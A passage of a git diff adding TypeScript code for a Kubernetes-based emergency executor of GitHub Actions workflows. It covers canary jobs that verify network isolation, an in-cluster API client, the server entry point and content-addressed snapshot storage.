ttlSecondsAfterFinished: i.ttlSecondsAfterFinished, + template: { + metadata: { labels }, + spec: { + restartPolicy: "Never", + serviceAccountName: i.serviceAccountName, + automountServiceAccountToken: false, + enableServiceLinks: false, + ...networkSpec(i.network), + securityContext: POD_SECURITY, + affinity: affinity(i.executorPodLabels), + containers: [ + { + name: RUNNER_CONTAINER, + image: i.runnerImage, + imagePullPolicy: "IfNotPresent", + // Security review H3: the execute-only node copy makes the runner non-dumpable (runner/main.ts). + command: [RUNNER_NODE, "--disable-sigusr1", "--disable-warning=ExperimentalWarning", "/app/deploy/emergency/runner/main.ts"], + env: [ + { name: "GHA_EMERGENCY_EXECUTION", value: JSON.stringify(execution) }, + { name: "GHA_EMERGENCY_SNAPSHOT_DIR", value: "/snapshot" }, + { name: "GHA_EMERGENCY_WORK_DIR", value: "/work" }, + { name: "GHA_EMERGENCY_SECRETS_DIR", value: "/secrets" }, + { name: "GHA_EMERGENCY_MAX_MINUTES", value: String(i.maxMinutes) }, + { name: "GHA_EMERGENCY_NETWORK_PROBE", value: "github.com,api.github.com,codeload.github.com" }, + ], + resources: { requests: { cpu: "100m", memory: "128Mi" }, limits: { cpu: i.resources.cpu, memory: i.resources.memory, "ephemeral-storage": i.resources.scratch } }, + securityContext: CONTAINER_SECURITY, + volumeMounts: mounts, + }, + ], + volumes, + }, + }, + }, + }; +} + +// ---- network canary ------------------------------------------------------------------------------------------------ + +export type CanaryTarget = { name: string; host: string; port: number }; +/** + * "probe-isolated" and "probe-egress" carry exactly the labels of execution pods in that mode, so the same + * NetworkPolicies select them. "control" is selected by none of them: it shows the network itself works. + */ +export type CanaryRole = "probe-isolated" | "probe-egress" | "control"; + +export type CanarySpecInput = PodBase & { checkId: string; role: CanaryRole; targets: CanaryTarget[] }; + +export const canaryJobName = (checkId: string, role: CanaryRole) => `gha-emergency-canary-${checkId}-${role}`; +export const CANARY_CHECK_LABEL = "gha-emergency.github-actions-ui/network-check"; + +export function buildCanaryJob(i: CanarySpecInput) { + const network: NetworkMode = i.role === "probe-egress" ? "egress" : "isolated"; + const labels = + i.role === "control" + ? { "app.kubernetes.io/name": "gha-emergency-canary-control", "app.kubernetes.io/managed-by": "gha-emergency-executor", [ROLE_LABEL]: "canary-control", [CANARY_CHECK_LABEL]: i.checkId } + : { ...RUNNER_POD_LABELS, [NETWORK_LABEL]: network, [ROLE_LABEL]: "canary-probe", [CANARY_CHECK_LABEL]: i.checkId }; + return { + apiVersion: "batch/v1", + kind: "Job", + metadata: { name: canaryJobName(i.checkId, i.role), namespace: i.namespace, labels }, + spec: { + backoffLimit: 0, + activeDeadlineSeconds: 120, + ttlSecondsAfterFinished: 300, + template: { + metadata: { labels }, + spec: { + restartPolicy: "Never", + serviceAccountName: i.serviceAccountName, + automountServiceAccountToken: false, + enableServiceLinks: false, + // The control keeps cluster DNS like any ordinary pod; probes get exactly an execution's network settings. + ...(i.role === "control" ? {} : networkSpec(network)), + securityContext: POD_SECURITY, + affinity: affinity(i.executorPodLabels), + containers: [ + { + name: RUNNER_CONTAINER, + image: i.runnerImage, + imagePullPolicy: "IfNotPresent", + command: ["node", "--disable-warning=ExperimentalWarning", "/app/deploy/emergency/runner/canary.ts"], + env: [{ name: "GHA_EMERGENCY_CANARY_TARGETS", value: JSON.stringify(i.targets) }], + resources: { requests: { cpu: "10m", memory: "32Mi" }, limits: { cpu: "200m", memory: "128Mi", "ephemeral-storage": "64Mi" } }, + securityContext: CONTAINER_SECURITY, + volumeMounts: [{ name: "tmp", mountPath: "/tmp" }], + }, + ], + volumes: [{ name: "tmp", emptyDir: { sizeLimit: "16Mi" } }], + }, + }, + }, + }; +} diff --git a/deploy/emergency/executor/kube.ts b/deploy/emergency/executor/kube.ts new file mode 100644 index 0000000..39406dc --- /dev/null +++ b/deploy/emergency/executor/kube.ts @@ -0,0 +1,113 @@ +// The executor's Kubernetes API client: in-cluster only (service account token and CA), Node built-ins only, and +// only the calls its Role allows (charts/gha-emergency/templates/rbac.yaml): Jobs in its own namespace, and reading +// the pods and logs of those Jobs (and dry runs of Jobs, which need the same permission). It never reads Secrets. +import { readFileSync } from "node:fs"; +import { request } from "node:https"; + +export type K8sJob = { + metadata: { name: string; labels?: Record; creationTimestamp?: string }; + status?: { active?: number; succeeded?: number; failed?: number; startTime?: string; completionTime?: string; conditions?: { type: string; status: string; reason?: string; message?: string }[] }; +}; +export type K8sPod = { + metadata: { name: string }; + status?: { phase?: string; containerStatuses?: { name: string; state?: { waiting?: { reason?: string; message?: string }; terminated?: { exitCode: number; reason?: string } } }[] }; +}; + +export interface KubeApi { + /** dryRun: server-side dry run (admission runs, nothing is stored), for the admission check (admission-check.ts). */ + createJob(job: object, options?: { dryRun?: boolean }): Promise; + getJob(name: string): Promise; + deleteJob(name: string): Promise; + listPods(selector: string): Promise; + podLog(pod: string, container: string): Promise; + /** Warning events of a pod, oldest first (e.g. FailedMount when the named Secret does not exist). */ + podWarnings(pod: string): Promise; +} + +export class KubeError extends Error { + readonly status: number; + constructor(status: number, message: string) { + super(message); + this.status = status; + } +} + +const SA = "/var/run/secrets/kubernetes.io/serviceaccount"; + +export function createInClusterKube(namespace: string): KubeApi { + const host = process.env.KUBERNETES_SERVICE_HOST; + const port = process.env.KUBERNETES_SERVICE_PORT ?? "443"; + if (!host) throw new Error("Not running in a Kubernetes pod (KUBERNETES_SERVICE_HOST is not set)"); + const ca = readFileSync(`${SA}/ca.crt`); + const ns = encodeURIComponent(namespace); + + const call = (method: string, path: string, body?: object, accept = "application/json"): Promise<{ status: number; text: string }> => + new Promise((done, fail) => { + // Projected tokens rotate: read it for every request. + const token = readFileSync(`${SA}/token`, "utf8").trim(); + const data = body ? Buffer.from(JSON.stringify(body)) : undefined; + const req = request( + { host, port, method, path, ca, timeout: 15_000, headers: { Authorization: `Bearer ${token}`, Accept: accept, ...(data ? { "Content-Type": "application/json", "Content-Length": String(data.length) } : {}) } }, + (res) => { + const chunks: Buffer[] = []; + let size = 0; + res.on("data", (c: Buffer) => { + size += c.length; + if (size <= 32 * 1024 * 1024) chunks.push(c); + }); + res.on("end", () => done({ status: res.statusCode ?? 0, text: Buffer.concat(chunks).toString("utf8") })); + }, + ); + req.on("timeout", () => req.destroy(new Error("Kubernetes API request timed out"))); + req.on("error", fail); + req.end(data); + }); + const ok = async (method: string, path: string, body?: object, accept?: string) => { + const r = await call(method, path, body, accept); + if (r.status < 200 || r.status >= 300) { + let message = `Kubernetes API ${method} ${path.split("?")[0]} returned ${r.status}`; + try { + message += `: ${(JSON.parse(r.text) as { message?: string }).message ?? ""}`; + } catch { + // keep the status only + } + throw new KubeError(r.status, message); + } + return r.text; + }; + + return { + async createJob(job, options) { + await ok("POST", `/apis/batch/v1/namespaces/${ns}/jobs${options?.dryRun ? "?dryRun=All" : ""}`, job); + }, + async getJob(name) { + try { + return JSON.parse(await ok("GET", `/apis/batch/v1/namespaces/${ns}/jobs/${encodeURIComponent(name)}`)) as K8sJob; + } catch (error) { + if (error instanceof KubeError && error.status === 404) return undefined; + throw error; + } + }, + async deleteJob(name) { + try { + await ok("DELETE", `/apis/batch/v1/namespaces/${ns}/jobs/${encodeURIComponent(name)}?propagationPolicy=Background`); + } catch (error) { + if (!(error instanceof KubeError && error.status === 404)) throw error; + } + }, + async listPods(selector) { + return (JSON.parse(await ok("GET", `/api/v1/namespaces/${ns}/pods?labelSelector=${encodeURIComponent(selector)}`)) as { items: K8sPod[] }).items; + }, + async podWarnings(pod) { + const selector = encodeURIComponent(`involvedObject.kind=Pod,involvedObject.name=${pod},type=Warning`); + const list = JSON.parse(await ok("GET", `/api/v1/namespaces/${ns}/events?fieldSelector=${selector}`)) as { items: { reason?: string; message?: string; lastTimestamp?: string; eventTime?: string }[] }; + return list.items + .sort((a, b) => String(a.lastTimestamp ?? a.eventTime).localeCompare(String(b.lastTimestamp ?? b.eventTime))) + .map((e) => [e.reason, e.message].filter(Boolean).join(": ")); + }, + async podLog(pod, container) { + // The log endpoint answers 406 to "Accept: text/plain"; it returns the log as text for */*. + return ok("GET", `/api/v1/namespaces/${ns}/pods/${encodeURIComponent(pod)}/log?container=${encodeURIComponent(container)}&limitBytes=${16 * 1024 * 1024}`, undefined, "*/*"); + }, + }; +} diff --git a/deploy/emergency/executor/network-check.ts b/deploy/emergency/executor/network-check.ts new file mode 100644 index 0000000..be6791a --- /dev/null +++ b/deploy/emergency/executor/network-check.ts @@ -0,0 +1,157 @@ +// Proof that the cluster enforces the runner NetworkPolicies (security review C2), before any isolated execution. +// +// The check runs canary Jobs (job-spec.ts buildCanaryJob): +// - a probe with exactly an isolated execution's labels and network settings tries an external IP address, the +// Kubernetes API, the cloud metadata address and an internal service (the executor's own Service); +// - a control pod, selected by no runner policy, tries the same internal service. +// Isolation is "enforced" only when the control reaches the internal service (so the network works and the probe's +// failures are the policy's doing) and the probe reaches nothing. Otherwise it is "not-enforced" (the probe reached +// something) or "unverified" (the control failed, a canary didn't finish, or its output was unreadable). Anything +// other than "enforced" refuses isolated executions. With egress mode enabled, a probe with the egress labels must +// reach neither the Kubernetes API, the metadata address nor the internal service. +// An "enforced" result is reused for maxAgeMs; any other result only for retryMs, so a transient failure (e.g. the +// check racing the executor's own readiness at startup) doesn't refuse executions for long. Concurrent callers share +// one check. +import { randomBytes } from "node:crypto"; +import { CANARY_PREFIX } from "../../../src/emergency/events.ts"; +import type { CanaryRole, CanaryTarget } from "./job-spec.ts"; +import { buildCanaryJob, CANARY_CHECK_LABEL, canaryJobName, RUNNER_CONTAINER } from "./job-spec.ts"; +import type { KubeApi, K8sJob } from "./kube.ts"; + +export type ProbeResult = { name: string; host: string; port: number; reachable: boolean; detail: string }; +export type CheckState = "enforced" | "not-enforced" | "unverified"; +export type NetworkCheck = { + state: CheckState | "never" | "checking"; + checkedAt?: string; + reason?: string; + isolated: ProbeResult[]; + control: ProbeResult[]; + /** Present when egress mode is enabled. */ + egress?: { state: CheckState; reason?: string; results: ProbeResult[] }; +}; + +export type NetworkCheckConfig = { + namespace: string; + runnerImage: string; + runnerServiceAccount: string; + executorPodLabels: Record; + externalTarget: { host: string; port: number }; + /** The Kubernetes API as pods see it (the executor's KUBERNETES_SERVICE_HOST and _PORT). */ + apiServer: { host: string; port: number }; + metadataTarget: { host: string; port: number }; + /** Resolves the executor Service to an IP address and port (the internal-service target). */ + internalService: () => Promise<{ host: string; port: number }>; + egressEnabled: boolean; + maxAgeMs: number; + /** How long a result other than "enforced" is reused before the next execution re-checks. */ + retryMs: number; + timeoutMs: number; + pollMs: number; +}; + +export function createNetworkCheck(deps: { kube: KubeApi; config: NetworkCheckConfig; now?: () => Date; sleep?: (ms: number) => Promise; log?: (e: Record) => void }) { + const { kube, config } = deps; + const now = deps.now ?? (() => new Date()); + const sleep = deps.sleep ?? ((ms: number) => new Promise((r) => setTimeout(r, ms))); + const log = deps.log ?? (() => {}); + let current: NetworkCheck = { state: "never", isolated: [], control: [] }; + let running: Promise | null = null; + + const fresh = () => current.checkedAt !== undefined && now().getTime() - Date.parse(current.checkedAt) < (current.state === "enforced" ? config.maxAgeMs : config.retryMs); + + async function runCanary(checkId: string, role: CanaryRole, targets: CanaryTarget[]): Promise<{ results?: ProbeResult[]; problem?: string }> { + const job = buildCanaryJob({ checkId, role, targets, namespace: config.namespace, runnerImage: config.runnerImage, serviceAccountName: config.runnerServiceAccount, executorPodLabels: config.executorPodLabels }); + const name = canaryJobName(checkId, role); + await kube.createJob(job); + try { + const deadline = now().getTime() + config.timeoutMs; + let state: K8sJob | undefined; + for (;;) { + state = await kube.getJob(name); + const done = state?.status?.succeeded || state?.status?.failed || state?.status?.conditions?.some((c) => (c.type === "Complete" || c.type === "Failed") && c.status === "True"); + if (done) break; + if (now().getTime() >= deadline) return { problem: `${role} canary did not finish within ${Math.round(config.timeoutMs / 1000)} s` }; + await sleep(config.pollMs); + } + const pods = await kube.listPods(`${CANARY_CHECK_LABEL}=${checkId}`); + const pod = pods.find((p) => p.metadata.name.startsWith(name)); + if (!pod) return { problem: `${role} canary pod not found` }; + const text = await kube.podLog(pod.metadata.name, RUNNER_CONTAINER); + const results = text + .split("\n") + .filter((l) => l.startsWith(CANARY_PREFIX)) + .map((l) => JSON.parse(l.slice(CANARY_PREFIX.length)) as ProbeResult); + const missing = targets.filter((t) => !results.some((r) => r.name === t.name && r.host === t.host && r.port === t.port)); + if (missing.length) return { problem: `${role} canary reported no result for ${missing.map((m) => m.name).join(", ")}` }; + return { results }; + } catch (error) { + return { problem: `${role} canary failed: ${(error as Error).message}` }; + } finally { + await kube.deleteJob(name).catch(() => {}); + } + } + + async function check(): Promise { + const checkId = randomBytes(4).toString("hex"); + current = { ...current, state: "checking" }; + let internal: { host: string; port: number }; + try { + internal = await config.internalService(); + } catch (error) { + current = { state: "unverified", checkedAt: now().toISOString(), reason: `Could not resolve the internal-service target: ${(error as Error).message}`, isolated: [], control: [] }; + return current; + } + const isolatedTargets: CanaryTarget[] = [ + { name: "external-ip", ...config.externalTarget }, + { name: "kubernetes-api", ...config.apiServer }, + { name: "cloud-metadata", ...config.metadataTarget }, + { name: "internal-service", ...internal }, + ]; + const [probe, control, egress] = await Promise.all([ + runCanary(checkId, "probe-isolated", isolatedTargets), + runCanary(checkId, "control", [{ name: "internal-service", ...internal }]), + config.egressEnabled ? runCanary(checkId, "probe-egress", isolatedTargets.filter((t) => t.name !== "external-ip")) : Promise.resolve(undefined), + ]); + const result: NetworkCheck = { state: "unverified", checkedAt: now().toISOString(), isolated: probe.results ?? [], control: control.results ?? [] }; + const controlOk = control.results?.every((r) => r.reachable) ?? false; + if (probe.problem || control.problem) result.reason = [probe.problem, control.problem].filter(Boolean).join("; "); + else if (!controlOk) result.reason = "The control pod could not reach the internal service, so a blocked probe proves nothing about NetworkPolicy"; + else { + const leaks = probe.results!.filter((r) => r.reachable); + result.state = leaks.length ? "not-enforced" : "enforced"; + result.reason = leaks.length + ? `An isolated runner pod reached ${leaks.map((l) => `${l.name} (${l.host}:${l.port})`).join(", ")}: the cluster's network plugin does not enforce the runner NetworkPolicy` + : "An isolated runner pod reached none of the targets, while the control pod reached the internal service"; + } + if (config.egressEnabled && egress) { + if (egress.problem || !controlOk) result.egress = { state: "unverified", reason: egress.problem ?? result.reason, results: egress.results ?? [] }; + else { + const leaks = egress.results!.filter((r) => r.reachable); + result.egress = { + state: leaks.length ? "not-enforced" : "enforced", + reason: leaks.length ? `An egress-mode runner pod reached ${leaks.map((l) => l.name).join(", ")}` : "An egress-mode runner pod reached neither the Kubernetes API, the metadata address nor the internal service", + results: egress.results!, + }; + } + } + log({ action: "network-check", state: result.state, egress: result.egress?.state ?? null, reason: result.reason }); + current = result; + return result; + } + + return { + status: (): NetworkCheck => current, + /** Runs a new check now (shared with any check already running). */ + run(): Promise { + if (!running) running = check().finally(() => (running = null)); + return running; + }, + /** A check no older than maxAgeMs, running one if needed. */ + async ensureFresh(): Promise { + if (fresh() && current.state !== "checking") return current; + return this.run(); + }, + }; +} + +export type NetworkChecker = ReturnType; diff --git a/deploy/emergency/executor/server.ts b/deploy/emergency/executor/server.ts new file mode 100644 index 0000000..f60dcec --- /dev/null +++ b/deploy/emergency/executor/server.ts @@ -0,0 +1,175 @@ +// Entry point of the emergency executor (deploy/emergency/Dockerfile, target "executor"): serves the UI build +// (deploy/ui/server.mjs, unchanged policy: GET/HEAD, fixed file set, the app CSP) and the emergency API under +// api/emergency/. It makes no outbound requests except to the Kubernetes API and, for sign-in, the configured +// OpenID Connect provider (security review H2). +import { lookup } from "node:dns/promises"; +import { existsSync, readFileSync } from "node:fs"; +import { createServer } from "node:http"; +import { join } from "node:path"; +import { checkBasePath, createHandler, loadHeaders, loadSite } from "../../ui/server.mjs"; +import { createAdmissionCheck } from "./admission-check.ts"; +import { createApi, MAX_SNAPSHOT_BODY, type ApiRequest } from "./api.ts"; +import { createAuditLog } from "./audit.ts"; +import { parseAuthConfig } from "./auth/config.ts"; +import { createOidcProvider } from "./auth/oidc.ts"; +import { createAuthStore } from "./auth/store.ts"; +import { createBindingState, loadBindingsFile } from "./bindings.ts"; +import { createInClusterKube } from "./kube.ts"; +import { createNetworkCheck } from "./network-check.ts"; +import { createStore } from "./store.ts"; + +const env = (name: string, fallback?: string) => { + const v = process.env[name] ?? fallback; + if (v === undefined || v === "") throw new Error(`${name} is not set`); + return v; +}; + +const app = "/app"; +const basePath = checkBasePath(process.env.GHA_UI_BASE_PATH ?? "/"); +const site = loadSite(process.env.GHA_UI_STATIC_ROOT ?? join(app, "dist")); +const headers = loadHeaders(process.env.GHA_UI_HEADERS_FILE ?? join(app, "security-headers.json")); +const staticHandler = createHandler({ site, headers, basePath }); + +// Security review H2: who may sign in, how, and which executions need approval. Invalid configuration stops here. +const authConfig = parseAuthConfig(readFileSync(env("GHA_EMERGENCY_AUTH_FILE", "/etc/gha-emergency-auth/auth.json"), "utf8")); +const namespace = process.env.GHA_EMERGENCY_NAMESPACE ?? readFileSync("/var/run/secrets/kubernetes.io/serviceaccount/namespace", "utf8").trim(); +const dataDir = env("GHA_EMERGENCY_DATA_DIR", "/data"); +const store = createStore(dataDir); +const audit = createAuditLog(dataDir); +const breakGlassFile = (account: string) => join(authConfig.breakGlass.credentialsDir, account); +const authStore = createAuthStore(dataDir, { + sessionMaxHours: authConfig.sessions.maxHours, + sessionIdleMinutes: authConfig.sessions.idleMinutes, + breakGlassSessionMinutes: authConfig.sessions.breakGlassMinutes, + initialAdministrators: authConfig.initialAdministrators, + breakGlassAccounts: authConfig.breakGlass.accounts, + breakGlassCredential: (account) => (existsSync(breakGlassFile(account)) ? readFileSync(breakGlassFile(account), "utf8").trim() : undefined), +}); +const oidc = authConfig.oidc; +const provider = oidc + ? createOidcProvider({ ...oidc, clientSecret: oidc.clientSecretFile ? () => readFileSync(oidc.clientSecretFile!, "utf8").trim() : undefined }) + : undefined; +if (!provider && !authConfig.breakGlass.accounts.length) console.log(JSON.stringify({ audit: true, action: "no-sign-in-configured", message: "Neither an OpenID Connect provider nor break-glass accounts are configured: nobody can sign in" })); +const hostPort = (value: string) => { + const m = /^(.+):(\d+)$/.exec(value); + if (!m) throw new Error(`Expected HOST:PORT, got ${JSON.stringify(value)}`); + return { host: m[1]!, port: Number(m[2]) }; +}; +const runnerImage = env("GHA_EMERGENCY_RUNNER_IMAGE"); +// Security review H4: a digest, never a tag that could be moved to other content. The admission policy pins the same. +if (!/^[^\s@]+@sha256:[0-9a-f]{64}$/.test(runnerImage)) throw new Error(`GHA_EMERGENCY_RUNNER_IMAGE must be an image reference by digest (repository@sha256:...), got ${JSON.stringify(runnerImage)}`); +const kube = createInClusterKube(namespace); +const executorPodLabels = JSON.parse(env("GHA_EMERGENCY_EXECUTOR_POD_LABELS")) as Record; +const runnerServiceAccount = env("GHA_EMERGENCY_RUNNER_SERVICE_ACCOUNT"); +const operatorSecret = env("GHA_EMERGENCY_OPERATOR_SECRET"); +const allowEgress = process.env.GHA_EMERGENCY_ALLOW_EGRESS === "true"; +const service = hostPort(env("GHA_EMERGENCY_SERVICE")); +const network = createNetworkCheck({ + kube, + log: (e) => console.log(JSON.stringify({ audit: true, at: new Date().toISOString(), ...e })), + config: { + namespace, + runnerImage, + runnerServiceAccount, + executorPodLabels, + externalTarget: hostPort(env("GHA_EMERGENCY_CANARY_EXTERNAL", "1.1.1.1:443")), + apiServer: { host: env("KUBERNETES_SERVICE_HOST"), port: Number(env("KUBERNETES_SERVICE_PORT", "443")) }, + metadataTarget: hostPort(env("GHA_EMERGENCY_CANARY_METADATA", "169.254.169.254:80")), + // The executor's own Service, as an IP address: probes have no DNS. + internalService: async () => ({ host: (await lookup(service.host, { family: 4 })).address, port: service.port }), + egressEnabled: allowEgress, + maxAgeMs: Number(env("GHA_EMERGENCY_NETWORK_CHECK_MAX_AGE_SECONDS", "900")) * 1000, + retryMs: 30_000, + timeoutMs: 90_000, + pollMs: 2_000, + }, +}); +const admission = createAdmissionCheck({ + kube, + log: (e) => console.log(JSON.stringify({ audit: true, at: new Date().toISOString(), ...e })), + config: { namespace, runnerImage, runnerServiceAccount, executorPodLabels, policyName: env("GHA_EMERGENCY_ADMISSION_POLICY"), maxAgeMs: 900_000, retryMs: 30_000 }, +}); +const bindingsFile = env("GHA_EMERGENCY_BINDINGS_FILE", "/etc/gha-emergency-bindings/bindings.json"); +const api = createApi({ + network, + admission, + loadBindings: () => loadBindingsFile(bindingsFile, operatorSecret), + bindingState: createBindingState(dataDir), + auth: { store: authStore, provider, breakGlass: authConfig.breakGlass.accounts.length > 0 }, + audit, + store, + kube, + config: { + namespace, + runnerImage, + pvcName: env("GHA_EMERGENCY_PVC"), + runnerServiceAccount, + executorPodLabels, + resources: { cpu: env("GHA_EMERGENCY_RUNNER_CPU", "1"), memory: env("GHA_EMERGENCY_RUNNER_MEMORY", "1Gi"), scratch: env("GHA_EMERGENCY_RUNNER_SCRATCH", "2Gi") }, + maxMinutes: Number(env("GHA_EMERGENCY_MAX_MINUTES", "60")), + maxConcurrent: Number(env("GHA_EMERGENCY_MAX_CONCURRENT", "2")), + ttlSecondsAfterFinished: Number(env("GHA_EMERGENCY_JOB_TTL_SECONDS", "86400")), + operatorSecret, + allowEgress, + approval: authConfig.approval, + uiBasePath: basePath, + }, +}); +const startupBindings = loadBindingsFile(bindingsFile, operatorSecret); +if (startupBindings.problems.length) console.log(JSON.stringify({ audit: true, action: "secret-bindings-invalid", problems: startupBindings.problems })); +// Prove (or disprove) network isolation at startup; executions re-check when the result is older than its max age. +// The first check waits for this pod to become ready: the control canary connects to the executor's own Service. +setTimeout(() => void network.run().catch((e: Error) => console.log(JSON.stringify({ audit: true, action: "network-check-error", message: e.message }))), 20_000).unref(); +void admission.run(); +setInterval(() => authStore.purgeExpiredSessions(), 600_000).unref(); +const removed = store.purgeExpired(); +if (removed.length) console.log(JSON.stringify({ audit: true, action: "snapshots-expired", snapshots: removed })); + +const apiPrefix = `${basePath}api/emergency/`; +const API_HEADERS = { ...headers.common, "Content-Security-Policy": "default-src 'none'; frame-ancestors 'none'", "Cache-Control": "no-store", "Content-Type": "application/json; charset=utf-8" }; + +const server = createServer((req, res) => { + const url = req.url ?? "/"; + const path = url.split("?")[0]!; + if (!path.startsWith(apiPrefix)) { + const r = staticHandler(req.method, url); + res.writeHead(r.status, r.headers); + res.end(r.body); + return; + } + const chunks: Buffer[] = []; + let size = 0; + let tooLarge = false; + req.on("data", (c: Buffer) => { + size += c.length; + if (size > MAX_SNAPSHOT_BODY) tooLarge = true; + else chunks.push(c); + }); + req.on("end", async () => { + const send = (status: number, body: unknown, extra: Record = {}) => { + const data = body === undefined ? Buffer.alloc(0) : Buffer.from(JSON.stringify(body)); + res.writeHead(status, { ...API_HEADERS, ...extra, "Content-Length": String(data.length) }); + res.end(data); + }; + if (tooLarge) return send(413, { error: "Request body too large" }); + const single = (v: string | string[] | undefined) => (Array.isArray(v) ? v.join(", ") : v); + const request: ApiRequest = { + method: req.method ?? "GET", + path: path.slice(apiPrefix.length), + query: new URLSearchParams(url.includes("?") ? url.slice(url.indexOf("?") + 1) : ""), + headers: Object.fromEntries(Object.entries(req.headers).map(([k, v]) => [k.toLowerCase(), single(v)])), + body: Buffer.concat(chunks), + }; + const r = await api(request); + send(r.status, r.body, r.headers); + }); +}); +server.requestTimeout = 120_000; +server.headersTimeout = 15_000; +server.listen(Number(process.env.PORT ?? 8080), () => console.log(`gha-emergency-executor: UI and API under ${basePath} on port ${process.env.PORT ?? 8080}, namespace ${namespace}`)); +const stop = () => { + server.close(() => process.exit(0)); + setTimeout(() => process.exit(0), 10_000).unref(); +}; +process.once("SIGTERM", stop); +process.once("SIGINT", stop); diff --git a/deploy/emergency/executor/store.ts b/deploy/emergency/executor/store.ts new file mode 100644 index 0000000..55b500d --- /dev/null +++ b/deploy/emergency/executor/store.ts @@ -0,0 +1,302 @@ +// Write-once snapshot storage on the executor's volume, content-addressed by manifest digest: +// +// /snapshots//manifest.json the manifest exactly as uploaded +// /snapshots//record.json name, version, storage time (not part of the digest) +// /snapshots//files// +// /executions/.json and .log execution metadata and the runner's event log, kept after the Job is gone +// +// A snapshot is verified before it is stored, written to a temporary directory and renamed into place, then made +// read-only. Its directory name is its digest, so stored content can't change without changing its identity, and an +// existing digest is never overwritten. Updating a snapshot means preparing a new one: it gets the next version. +// +// Security review H1: the uploaded manifest is only a set of claims. Before storing, the executor re-runs the +// resolver over the packaged files (src/emergency/revalidate.ts) and refuses any mismatch or under-reported error; +// executability and content integrity are the executor's own findings, kept in record.json. A name belongs to the +// repository its first version came from: a later version claiming another repository is refused. Snapshots stored +// before H1 are re-validated on first use; their result is kept in /validations/.json. +// +// Security review H2: the record names who stored the snapshot (the authenticated identity) and its visibility. A new +// version of a name whose latest version is restricted can be stored only by that version's preparer. +import { randomBytes } from "node:crypto"; +import { chmodSync, existsSync, mkdirSync, readdirSync, readFileSync, renameSync, rmSync, statSync, writeFileSync } from "node:fs"; +import { dirname, join } from "node:path"; +import type { Diagnostic } from "../../../src/emergency/model.ts"; +import type { Actor, Manifest, SnapshotBundle, SnapshotRecord, Visibility } from "../../../src/emergency/snapshot.ts"; +import { revalidateSnapshot } from "../../../src/emergency/revalidate.ts"; +import { fromBase64, manifestDigest, verifySnapshot } from "../../../src/emergency/snapshot.ts"; + +const DIGEST = /^[0-9a-f]{64}$/; +export const EXECUTION_ID = /^[0-9a-f]{16}$/; + +export type ExecutionMeta = { + id: string; + snapshotId: string; + snapshotName: string; + snapshotVersion: number; + workflow: string; + inputs: Record; + variables: Record; + /** The bound Secret (bindings.ts) and the only keys mounted. */ + secretName?: string; + secretKeys?: string[]; + /** "github-blocked" appears only in records made before the security review's C2 remediation. */ + network: "isolated" | "egress" | "github-blocked"; + /** The network check the execution was admitted on. */ + isolation?: { state: string; checkedAt?: string; reason?: string }; + createdAt: string; + jobName: string; + /** How its events are verified: "ed25519" since H2 (the runner's own key pair); absent before (H3 key or legacy). */ + eventAuth?: "ed25519"; + /** Security review H2. Absent on executions recorded before H2 (started with the shared operator token). */ + preparedBy?: Actor | null; + initiatedBy?: Actor; + /** The snapshot's visibility, which the execution inherits. */ + visibility?: Visibility; + /** Absent before H2 = started. */ + state?: ExecutionState; + startedAt?: string; + approval?: ApprovalRecord; + /** Why the request was allowed to proceed (or not), as recorded at each decision. */ + decisions?: { at: string; by: Actor; decision: string; reason: string }[]; +}; + +export type ExecutionState = "awaiting-approval" | "approved" | "rejected" | "cancelled" | "invalidated" | "started"; +export type ApprovalRecord = { + /** Why this execution needs approval (the configured policy's triggers it met). */ + reasons: string[]; + /** sha256 over the execution's snapshot digest, workflow, inputs, variables, network and Secret binding. */ + requestDigest: string; + expiresAt: string; + decidedBy?: Actor; + decidedAt?: string; + decision?: "approved" | "rejected"; + comment?: string; +}; + +export function createStore(dataDir: string) { + const snapshots = join(dataDir, "snapshots"); + const executions = join(dataDir, "executions"); + const validations = join(dataDir, "validations"); + mkdirSync(validations, { recursive: true }); + mkdirSync(snapshots, { recursive: true }); + mkdirSync(executions, { recursive: true }); + + const readRecord = (id: string): SnapshotRecord | undefined => { + if (!DIGEST.test(id)) return undefined; + const f = join(snapshots, id, "record.json"); + return existsSync(f) ? (JSON.parse(readFileSync(f, "utf8")) as SnapshotRecord) : undefined; + }; + const all = () => readdirSync(snapshots).filter((d) => DIGEST.test(d)).map(readRecord).filter((r): r is SnapshotRecord => !!r); + + const makeReadOnly = (dir: string) => { + for (const e of readdirSync(dir, { withFileTypes: true })) { + const p = join(dir, e.name); + if (e.isDirectory()) makeReadOnly(p); + else chmodSync(p, 0o444); + } + chmodSync(dir, 0o555); + }; + const makeWritable = (dir: string) => { + chmodSync(dir, 0o755); + for (const e of readdirSync(dir, { withFileTypes: true })) { + if (e.isDirectory()) makeWritable(join(dir, e.name)); + else chmodSync(join(dir, e.name), 0o644); + } + }; + + /** Files of a stored snapshot, for verification. */ + const storedContent = (id: string) => async (f: { root: string; path: string }) => { + const p = join(snapshots, id, "files", ...f.root.split("/"), ...f.path.split("/")); + return existsSync(p) ? new Uint8Array(readFileSync(p)) : undefined; + }; + + /** A record with the executor's own validation: stored with it (H1), or derived once for older snapshots. */ + const withValidation = async (record: SnapshotRecord): Promise => { + if (record.validation) return record; + const cache = join(validations, `${record.id}.json`); + let found: Pick | undefined; + if (existsSync(cache)) found = JSON.parse(readFileSync(cache, "utf8")) as typeof found; + else { + const m = JSON.parse(readFileSync(join(snapshots, record.id, "manifest.json"), "utf8")) as Manifest; + const content = storedContent(record.id); + const problems = await verifySnapshot(m, content); + const checked = await revalidateSnapshot(m, content); + const mismatch = [...problems.map((p) => p.message), ...checked.mismatches]; + const validation = { ...checked.validation, executable: checked.validation.executable && mismatch.length === 0, diagnostics: [...mismatch.map((message) => ({ severity: "error" as const, code: "manifest-mismatch", message })), ...checked.validation.diagnostics] }; + found = { validation, integrity: checked.integrity, executable: validation.executable }; + writeFileSync(cache, JSON.stringify(found)); + } + return { ...record, ...found }; + }; + + return { + dataDir, + /** The record with the executor's own validation and integrity findings (H1). */ + async checked(id: string): Promise<{ record: SnapshotRecord; manifest: Manifest } | undefined> { + const s = this.get(id); + return s ? { record: await withValidation(s.record), manifest: s.manifest } : undefined; + }, + async listChecked(now = new Date()): Promise { + return Promise.all(this.list(now).map(withValidation)); + }, + /** Verifies and stores an uploaded bundle. An identical snapshot (same digest) returns the stored record. */ + async put(bundle: SnapshotBundle, now = new Date(), owner?: { preparedBy: Actor; visibility: Visibility }): Promise<{ record?: SnapshotRecord; created: boolean; problems: Diagnostic[] }> { + const m = bundle?.manifest as Manifest; + if (!bundle || typeof bundle.contents !== "object" || bundle.contents === null) return { created: false, problems: [{ severity: "error", code: 